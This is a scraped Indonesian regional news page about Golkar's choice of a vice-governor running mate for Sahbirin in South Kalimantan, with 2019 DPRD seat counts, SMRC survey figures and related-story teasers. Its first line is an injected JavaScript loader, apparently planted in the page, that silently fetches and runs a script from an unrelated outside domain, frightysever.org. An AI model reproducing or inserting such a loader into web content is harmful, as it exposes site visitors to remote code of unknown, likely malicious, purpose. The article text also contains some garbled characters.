(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Di tangan DPP Golkar, pertimbangan politik dipastikan akan lebih kompleks. Artinya, penentuan pasangan calon tidak hanya diukur dari elektabilitas kandidat semata, tetapi juga akan melihat arah dan pertimbangan politik yang lebih luas.
Sebagaimana diketahui, kemitraan yang terbangun antara PDIP dan Golkar di pusat, akan turut mempengaruhi atmosfer dalam penentuan pasangan incumbent. Meski belakangan dengan terpilihnya Zulkifli Hasanâ€â€yang disebut lebih pro Jokowi, tetapi hubungan banteng dan beringin sudah terbina lebih lama.
Sebab di koalisi nasional, PAN tak termasuk dalam barisan parpol besar penyokong pemerintah sebagaimana Golkar, PDIP, PPP, PKB, dan juga Gerindra yang belakangan juga masuk dalam kabinet. Apalagi, dari hitungan jumlah kursi di parlemen, PAN memiliki jumlah kursi lebih sedikit dibandingkan PDIP.
Dari hasil pemilu 2019 lalu, kursi terbanyak diraih Partai Golongan Karya (Golkar) dengan 12 kursi, diikuti Partai Demokrasi Indonesia Perjuangan (PDIP) dan Partai Gerakan Indonesia Raya (Gerindra) yang sama-sama meraih 8 kursi. Di poisisi peraih kursi terbanyak selanjutnya adalah Partai Amanat Nasional (PAN) dengan 6 kursi.
Disusul Partai Keadilan Sejahtera (PKS) dan Partai Kebangkitan Bangsa (PKB) dengan raihan masing-masing 5 kursi. Partai Nasional Demokrasi (NasDem) sukses mendulang 4 kursi. Lalu ada Partai Demokrat dan Partai Persatuan Pembangunan (PPP) dengan masing-masing menempatkan wakilnya 3 kursi. Dan satu-satunya peraih 1 kursi di DPRD Kalsel periode 2019-2024 adalah Partai Hati Nurani Rakyat (Hanura).
Perolehan kursi parleman ini, juga tentunya akan menjadi perhatian bagi DPP Golkar untuk menentukan kebijakan. Meskipun, disebutkan bahwa dari hasil surevi Lembaga Saiful Murjani Researc and Consulting (SMRC) pada 9 – 19 Oktober lalu, nama Muhidin menempati posisi pertama dengan persentase 11,9 persen sebagai cawagub Kalsel yang berpasangan dengan Sahbirin.
Setelah itu, ada sepuluh nama di bawah Muhidin, seperti Rudy Resnawan 7,5 persen, Rosehan Noor Bahri 7,3 persen, Mardani H Maming 6,2 persen, Aboe Bakar Alhabsy 4,7 persen, Zairullah Azhar 4,0 persen, dan sejumlah kandidat lainnya. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More
KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melepas pawai budaya, Jumat (26/4/2024) sore.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Baliho berisi curhatan para korban FN tersangka kasus investasi bodong solar yang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Warga Kecamatan Banjarbaru Selatan antusias memeriahkan lomba memancing ikan yang digelar di… Read More
This website uses cookies.